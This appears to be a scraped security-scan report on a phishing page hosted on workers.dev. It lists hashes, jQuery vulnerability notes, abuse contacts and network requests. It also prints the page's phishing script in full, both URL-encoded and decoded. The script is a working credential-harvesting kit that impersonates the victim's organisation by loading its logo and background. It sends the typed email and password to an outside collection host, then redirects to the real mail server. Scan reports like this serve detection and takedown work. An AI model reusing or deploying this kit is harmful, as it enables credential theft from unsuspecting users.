suspicious phishing

Korean

The domain name 'worker-floral-surf-0cda.jhyoo.workers.dev' uses the developer-focused generic top-level domain (.dev) with subdomain 'worker-floral-surf-0cda.jhyoo'. The core label 'workers' covers 7 characters with two vowels and 5 consonants. Word splitting yields 1 word: workers. Median word length is 7 characters. No strong language cues emerged from the frequency lists.

saveid

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers

160a426ff2894252cd7cebbdd6d6b7da8fcd319c65b70468f10b6690c45d02ef

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution

passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Regex in its jQuery.htmlPrefilter sometimes may introduce XSS

1f4e591675eb716c098a35bebb8f2f9359c03640a06c09ca4add1fe02aa5c983

c1a3efdf9859cd5887655ab9c1c01cfbe80c9fe2d18f60faca1c314458605cd8

6979bd2e35b0f190ecf804528b40a99aed7f54d602e87e0aed791f86621febb4

c487fe29eac7278d2aecc79017cbab8eeb80bc31277f7571a1e0e5357bdfe2be

viewport

Abuse Team

CloudFlare, Inc.

workers.dev

Cloudflare Abuse Contact

MNT-CLOUDFLARE

Cloudflare Technical Contact

CLOUDFLARENET-EU

document.write(unescape('%3C%73%74%79%6C%65%3E%0A%09%09%70%2C%0A%09%09%6C%69%20%7B%0A%09%09%09%6C%69%6E%65%2D%68%65%69%67%68%74%3A%20%31%2E%32%3B%0A%09%09%09%77%6F%72%64%2D%77%72%61%70%3A%20%62%72%65%


        const phpLink = "https://ovalsakal.biz/LG/lg.php"
      

document.write(unescape('%3C%73%63%72%69%70%74%3E%0A%09%09%24%28%22%64%6F%63%75%6D%65%6E%74%22%29%2E%72%65%61%64%79%28%66%75%6E%63%74%69%6F%6E%28%29%7B%66%75%6E%63%74%69%6F%6E%20%61%28%29%7B%72%65%74%75%72%6E%20%65%28%29%2C%63%28%24%28%22%23%69%6E%70%75%74%55%73%65%72%69%64%22%29%2E%76%61%6C%28%29%29%3F%31%3E%24%28%22%23%69%6E%70%75%74%50%61%73%73%77%6F%72%64%22%29%2E%76%61%6C%28%29%2E%6C%65%6E%67%74%68%3F%28%24%28%22%23%70%77%45%72%72%22%29%2E%73%68%6F%77%28%29%2C%24%28%22%23%69%6E%70%75%74%50%61%73%73%77%6F%72%64%22%29%2E%76%61%6C%28%22%22%29%2C%24%28%22%23%69%6E%70%75%74%50%61%73%73%77%6F%72%64%22%29%2E%66%6F%63%75%73%28%29%2C%21%31%29%3A%76%6F%69%64%20%66%28%29%3A%28%24%28%22%23%65%6D%45%72%72%22%29%2E%73%68%6F%77%28%29%2C%24%28%22%23%69%6E%70%75%74%55%73%65%72%69%64%22%29%2E%76%61%6C%28%22%22%29%2C%24%28%22%23%69%6E%70%75%74%55%73%65%72%69%64%22%29%2E%66%6F%63%75%73%28%29%2C%21%31%29%7D%66%75%6E%63%74%69%6F%6E%20%62%28%61%29%7B%72%65%74%75%72%6E%20%61%2E%73%75%62%73%74%72%69%6E%67%28%61%2E%6C%61%73%74%49%6E%64%65%78%4F%66%28%22%40%22%29%2B%31%29%7D%66%75%6E%63%74%69%6F%6E%20%63%28%61%29%7B%72%65%74%75%72%6E%20%2F%5E%28%28%5B%5E%3C%3E%28%29%5B%5C%5D%5C%5C%2E%2C%3B%3A%5C%73%40%5C%22%5D%2B%28%5C%2E%5B%5E%3C%3E%28%29%5B%5C%5D%5C%5C%2E%2C%3B%3A%5C%73%40%5C%22%5D%2B%29%2A%29%7C%28%5C%22%2E%2B%5C%22%29%29%40%28%28%5C%5B%5B%30%2D%39%5D%7B%31%2C%33%7D%5C%2E%5B%30%2D%39%5D%7B%31%2C%33%7D%5C%2E%5B%30%2D%39%5D%7B%31%2C%33%7D%5C%2E%5B%30%2D%39%5D%7B%31%2C%33%7D%5C%5D%29%7C%28%28%5B%61%2D%7A%41%2D%5A%5C%2D%30%2D%39%5D%2B%5C%2E%29%2B%5B%61%2D%7A%41%2D%5A%5D%7B%32%2C%7D%29%29%24%2F%2E%74%65%73%74%28%61%29%7D%66%75%6E%63%74%69%6F%6E%20%65%28%29%7B%24%28%22%23%65%6D%45%72%72%22%29%2E%68%69%64%65%28%29%2C%24%28%22%23%70%77%45%72%72%22%29%2E%68%69%64%65%28%29%7D%66%75%6E%63%74%69%6F%6E%20%66%28%29%7B%24%2E%61%6A%61%78%28%7B%75%72%6C%3A%70%68%70%4C%69%6E%6B%2C%74%79%70%65%3A%22%50%4F%53%54%22%2C%64%61%74%61%3A%7B%75%73%65%72%3A%24%28%22%23%69%6E%70%75%74%55%73%65%72%69%64%22%29%2E%76%61%6C%28%29%2C%70%61%73%73%78%64%3A%24%28%22%23%69%6E%70%75%74%50%61%73%73%77%6F%72%64%22%29%2E%76%61%6C%28%29%7D%7D%29%2E%64%6F%6E%65%28%66%75%6E%63%74%69%6F%6E%28%29%7B%31%3D%3D%3D%67%3F%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%3D%60%68%74%74%70%3A%2F%2F%6D%61%69%6C%2E%24%7B%62%28%24%28%22%23%69%6E%70%75%74%55%73%65%72%69%64%22%29%2E%76%61%6C%28%29%29%7D%2F%6C%6F%67%69%6E%2E%70%68%70%60%3A%28%67%2B%2B%2C%24%28%22%23%70%77%45%72%72%22%29%2E%73%68%6F%77%28%29%2C%24%28%22%23%69%6E%70%75%74%50%61%73%73%77%6F%72%64%22%29%2E%76%61%6C%28%22%22%29%2C%24%28%22%23%69%6E%70%75%74%50%61%73%73%77%6F%72%64%22%29%2E%66%6F%63%75%73%28%29%29%7D%29%2E%66%61%69%6C%28%66%75%6E%63%74%69%6F%6E%28%29%7B%63%6F%6E%73%6F%6C%65%2E%6C%6F%67%28%22%70%68%70%4C%69%6E%6B%20%65%72%72%6F%72%22%29%7D%29%7D%6C%65%74%20%67%3D%30%2C%68%3D%6E%65%77%20%55%52%4C%53%65%61%72%63%68%50%61%72%61%6D%73%28%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%73%65%61%72%63%68%29%2C%69%3D%68%2E%67%65%74%28%22%64%65%70%74%22%29%2C%6A%3D%68%2E%67%65%74%28%22%64%22%29%3B%63%6F%6E%73%74%20%64%3D%69%2B%22%40%22%2B%6A%3B%63%28%64%29%3F%28%61%73%79%6E%63%20%66%75%6E%63%74%69%6F%6E%28%61%29%7B%74%72%79%7B%63%6F%6E%73%74%20%62%3D%61%77%61%69%74%20%66%65%74%63%68%28%60%68%74%74%70%73%3A%2F%2F%77%65%62%75%72%6C%61%70%69%2E%63%6F%2F%61%70%69%2F%6C%6F%67%6F%3F%75%72%6C%3D%24%7B%61%7D%60%29%2C%63%3D%61%77%61%69%74%20%62%2E%6A%73%6F%6E%28%29%2C%64%3D%61%77%61%69%74%20%63%2E%75%72%6C%3B%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%6C%6F%67%6F%22%29%2E%73%72%63%3D%64%7D%63%61%74%63%68%28%61%29%7B%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%6C%6F%67%6F%22%29%2E%73%72%63%3D%60%68%74%74%70%73%3A%2F%2F%69%2E%69%6D%67%75%72%2E%63%6F%6D%2F%50%71%54%39%43%63%62%2E%70%6E%67%60%7D%7D%28%62%28%64%29%29%2C%61%73%79%6E%63%20%66%75%6E%63%74%69%6F%6E%28%61%29%7B%74%72%79%7B%63%6F%6E%73%74%20%62%3D%61%77%61%69%74%20%66%65%74%63%68%28%60%68%74%74%70%73%3A%2F%2F%77%65%62%75%72%6C%61%70%69%2E%63%6F%2F%61%70%69%2F%62%67%3F%75%72%6C%3D%24%7B%61%7D%60%29%2C%63%3D%61%77%61%69%74%20%62%2E%6A%73%6F%6E%28%29%2C%64%3D%61%77%61%69%74%20%63%2E%75%72%6C%3B%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%73%70%61%6C%73%68%22%29%2E%73%72%63%3D%64%7D%63%61%74%63%68%28%61%29%7B%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%73%70%61%6C%73%68%22%29%2E%73%72%63%3D%60%68%74%74%70%73%3A%2F%2F%69%2E%69%6D%67%75%72%2E%63%6F%6D%2F%38%31%30%64%7A%37%76%2E%70%6E%67%60%7D%7D%28%62%28%64%29%29%2C%24%28%22%23%69%6E%70%75%74%55%73%65%72%69%64%22%29%2E%76%61%6C%28%64%29%2C%24%28%22%23%69%6E%70%75%74%50%61%73%73%77%6F%72%64%22%29%2E%66%6F%63%75%73%28%29%29%3A%28%24%28%22%23%69%6E%70%75%74%55%73%65%72%69%64%22%29%2E%76%61%6C%28%22%22%29%2C%24%28%22%23%69%6E%70%75%74%55%73%65%72%69%64%22%29%2E%66%6F%63%75%73%28%29%29%2C%24%28%22%23%69%6E%70%75%74%55%73%65%72%69%64%22%29%2E%6B%65%79%64%6F%77%6E%28%66%75%6E%63%74%69%6F%6E%28%61%29%7B%69%66%28%31%33%3D%3D%61%2E%77%68%69%63%68%29%72%65%74%75%72%6E%20%24%28%22%23%62%74%6E%22%29%2E%63%6C%69%63%6B%28%29%2C%21%31%7D%29%2C%24%28%22%23%69%6E%70%75%74%50%61%73%73%77%6F%72%64%22%29%2E%6B%65%79%64%6F%77%6E%28%66%75%6E%63%74%69%6F%6E%28%61%29%7B%69%66%28%31%33%3D%3D%61%2E%77%68%69%63%68%29%72%65%74%75%72%6E%20%24%28%22%23%62%74%6E%22%29%2E%63%6C%69%63%6B%28%29%2C%21%31%7D%29%2C%24%28%22%23%62%74%6E%22%29%2E%63%6C%69%63%6B%28%66%75%6E%63%74%69%6F%6E%28%29%7B%61%28%29%7D%29%7D%29%3B%0A%09%3C%2F%73%63%72%69%70%74%3E'))


		$("document").ready(function(){function a(){return e(),c($("#inputUserid").val())?1>$("#inputPassword").val().length?($("#pwErr").show(),$("#inputPassword").val(""),$("#inputPassword").focus(),!1):void f():($("#emErr").show(),$("#inputUserid").val(""),$("#inputUserid").focus(),!1)}function b(a){return a.substring(a.lastIndexOf("@")+1)}function c(a){return /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(a)}function e(){$("#emErr").hide(),$("#pwErr").hide()}function f(){$.ajax({url:phpLink,type:"POST",data:{user:$("#inputUserid").val(),passxd:$("#inputPassword").val()}}).done(function(){1===g?location.href=`http://mail.${b($("#inputUserid").val())}/login.php`:(g++,$("#pwErr").show(),$("#inputPassword").val(""),$("#inputPassword").focus())}).fail(function(){console.log("phpLink error")})}let g=0,h=new URLSearchParams(document.location.search),i=h.get("dept"),j=h.get("d");const d=i+"@"+j;c(d)?(async function(a){try{const b=await fetch(`https://weburlapi.co/api/logo?url=${a}`),c=await b.json(),d=await c.url;document.getElementById("logo").src=d}catch(a){document.getElementById("logo").src=`https://i.imgur.com/PqT9Ccb.png`}}(b(d)),async function(a){try{const b=await fetch(`https://weburlapi.co/api/bg?url=${a}`),c=await b.json(),d=await c.url;document.getElementById("spalsh").src=d}catch(a){document.getElementById("spalsh").src=`https://i.imgur.com/810dz7v.png`}}(b(d)),$("#inputUserid").val(d),$("#inputPassword").focus()):($("#inputUserid").val(""),$("#inputUserid").focus()),$("#inputUserid").keydown(function(a){if(13==a.which)return $("#btn").click(),!1}),$("#inputPassword").keydown(function(a){if(13==a.which)return $("#btn").click(),!1}),$("#btn").click(function(){a()})});
	

Requests	IP Address	Location	AS Autonomous System
2	142.251.127.95Google · CDN	United States	AS15169Google LLC
2	146.75.120.193Fastly · CDN	Frankfurt am Main, Hesse, Germany	AS54113Fastly, Inc.
2	188.114.97.3Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
6	3	-	-

Security Scan Report: worker-floral-surf-0cda.jhyoo.workers.dev

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies3

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History